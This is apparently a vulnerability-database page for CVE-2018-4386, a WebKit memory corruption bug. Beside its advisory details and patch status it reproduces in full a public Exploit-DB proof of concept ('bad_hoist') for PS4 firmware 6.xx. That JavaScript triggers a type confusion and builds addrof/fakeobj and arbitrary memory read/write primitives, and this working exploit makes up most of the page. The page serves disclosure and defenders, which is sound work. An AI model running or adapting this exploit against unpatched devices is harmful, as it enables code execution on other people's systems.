CVE-2018-4386

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Multiple memory corruption issues were addressed with improved memory handling. This issue affected versions prior to iOS 12.1, tvOS 12.1, watchOS 5.1, Safari 12.0.1, iTunes 12.9.1, iCloud for Windows 7.8.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47893 webapps hardware text · 7 KB
TJ Corley · 2019-12-31

Sony Playstation 4 (PS4) < 6.72 - WebKit Code Execution (PoC)

text exploit Source: Exploit-DB
/*

bad_hoist
============

Exploit implementation of
[CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665).
Obtains addrof/fakeobj and arbitrary read/write primitives.

Supports PS4 consoles on 6.XX. May also work on older firmware versions,
but I am not sure. Bug was fixed in firmware 7.00.

EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47893.zip
*/


var STRUCTURE_SPRAY_SIZE = 0x1800;

var g_confuse_obj = null;
var g_arb_master = null;
var g_arb_slave = new Uint8Array(0x2000);
var g_leaker = {};
var g_leaker_addr = null;
var g_structure_spray = [];

var dub = new Int64(0x41414141, 0x41414141).asDouble();
var g_inline_obj = {
    a: dub,
    b: dub,
};

function spray_structs() {
    for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) {
        var a = new Uint32Array(0x1)
        a["p" + i] = 0x1337;
        g_structure_spray.push(a); // keep the Structure objects alive.
    }

}

function trigger() {

    var o = {
        'a': 1
    };

    var test = new ArrayBuffer(0x100000);
    g_confuse_obj = {};

    var cell = {
        js_cell_header: new Int64([
            0x00, 0x8, 0x00, 0x00, // m_structureID, current guess
            0x0, // m_indexingType
            0x27, // m_type, Float64Array
            0x18, // m_flags, OverridesGetOwnPropertySlot |
            // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
            0x1 // m_cellState, NewWhite
        ]).asJSValue(),
        butterfly: false, // Some arbitrary value
        vector: g_inline_obj,
        len_and_flags: (new Int64('0x0001000100000020')).asJSValue()
    };

    g_confuse_obj[0 + "a"] = cell;

    g_confuse_obj[1 + "a"] = {};
    g_confuse_obj[1 + "b"] = {};
    g_confuse_obj[1 + "c"] = {};
    g_confuse_obj[1 + "d"] = {};


    for (var j = 0x5; j < 0x20; j++) {
        g_confuse_obj[j + "a"] = new Uint32Array(test);
    }

    for (var k in o) {
        {
            k = {
                a: g_confuse_obj,
                b: new ArrayBuffer(test.buffer),
                c: new ArrayBuffer(test.buffer),
                d: new ArrayBuffer(test.buffer),
                e: new ArrayBuffer(test.buffer),
                1: new ArrayBuffer(test.buffer),

            };

            function k() {
                return k;
            }

        }

        o[k];

        if (g_confuse_obj["0a"] instanceof Uint32Array) {
            return;
        }
    }
}

function setup_arb_rw() {
    var jsCellHeader = new Int64([
        0x00, 0x08, 0x00, 0x00, // m_structureID, current guess
        0x0, // m_indexingType
        0x27, // m_type, Float64Array
        0x18, // m_flags, OverridesGetOwnPropertySlot |
        // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
        0x1 // m_cellState, NewWhite
    ]);
    g_fake_container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: false, // Some arbitrary value
        vector: g_arb_slave,
        lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue()
    };

    g_inline_obj.a = g_fake_container;
    g_confuse_obj["0a"][0x4] += 0x10;
    g_arb_master = g_inline_obj.a;
    g_arb_master[0x6] = 0xFFFFFFF0;
}

function read(addr, length) {
    if (!(addr instanceof Int64))
        addr = new Int64(addr);

    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();

    var a = new Array(length);

    for (var i = 0; i < length; i++)
        a[i] = g_arb_slave[i];
    return a;
}

function read8(addr) {
    return read(addr, 1)[0];
}

function read16(addr) {
    return Struct.unpack(Struct.int16, read(addr, 2));
}

function read32(addr) {
    return Struct.unpack(Struct.int32, read(addr, 4));
}

function read64(addr) {
    return new Int64(read(addr, 8));
}

function readstr(addr) {
    if (!(addr instanceof Int64))
        addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    var a = [];
    for (var i = 0;; i++) {
        if (g_arb_slave[i] == 0) {
            break;
        }
        a[i] = g_arb_slave[i];
    }
    return String.fromCharCode.apply(null, a);
}

function write(addr, data) {
    if (!(addr instanceof Int64))
        addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    for (var i = 0; i < data.length; i++)
        g_arb_slave[i] = data[i];
}

function write8(addr, val) {
    write(addr, [val]);
}

function write16(addr, val) {
    write(addr, Struct.pack(Struct.int16, val));
}


function write32(addr, val) {
    write(addr, Struct.pack(Struct.int32, val));
}

function write64(addr, val) {
    if (!(val instanceof Int64))
        val = new Int64(val);
    write(addr, val.bytes());
}

function writestr(addr, str) {
    if (!(addr instanceof Int64))
        addr = new Int64(addr);
    g_arb_master[4] = addr.low32();
    g_arb_master[5] = addr.hi32();
    for (var i = 0; i < str.length; i++)
        g_arb_slave[i] = str.charCodeAt(i);
    g_arb_slave[str.length] = 0; // null character
}


function setup_obj_leaks() {
    g_leaker.leak = false;
    g_inline_obj.a = g_leaker;
    g_leaker_addr = new Int64(g_confuse_obj["0a"][4], g_confuse_obj["0a"][5]).add(0x10);
    debug_log("obj_leaker address @ " + g_leaker_addr);
}

function addrof(obj) {
    g_leaker.leak = obj;
    return read64(g_leaker_addr);
}

function fakeobj(addr) {
    write64(g_leaker_addr, addr);
    return g_leaker.leak;
}

function typed_array_buf_addr(typed_array) {
    return read64(addrof(typed_array).add(0x10));
}

function cleanup() {
    var u32array = new Uint32Array(8);
    header = read(addrof(u32array), 0x10);
    write(addrof(g_arb_master), header);
    write(addrof(g_confuse_obj['0a']), header);

    // Set length to 0x10 and flags to 0x1
    // Will behave as OversizeTypedArray which can survive gc easily
    write32(addrof(g_arb_master).add(0x18), 0x10);
    write32(addrof(g_arb_master).add(0x1C), 0x1); //
    write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10);
    write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1);
    write32(addrof(g_arb_slave).add(0x1C), 0x1);

    var empty = {};
    header = read(addrof(empty), 0x8);
    write(addrof(g_fake_container), header);
}

function start_exploit() {
    debug_log("Spraying Structures...");
    spray_structs();
    debug_log("Structures sprayed!");
    debug_log("Triggering bug...");
    trigger();
    debug_log("Bug successfully triggered!");
    debug_log("Crafting fake array for arbitrary read and write...");
    setup_arb_rw();
    debug_log("Array crafted!");
    debug_log("Setting up arbitrary object leaks...");
    setup_obj_leaks();
    debug_log("Arbitrary object leaks achieved!");
    debug_log("Cleaning up corrupted structures...");
    cleanup();
    debug_log("Cleanup done!");
    debug_log("Starting post exploitation...");
}

start_exploit();
EDB-45912 dos multiple verified
Google Security Research · 2018-11-29

WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object

Source code queued for fetch — refresh in a moment.

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.22.3-1
sid Fixed 2.22.3-1
forky Fixed 2.22.3-1
bullseye Fixed 2.22.3-1
bookworm Fixed 2.22.3-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.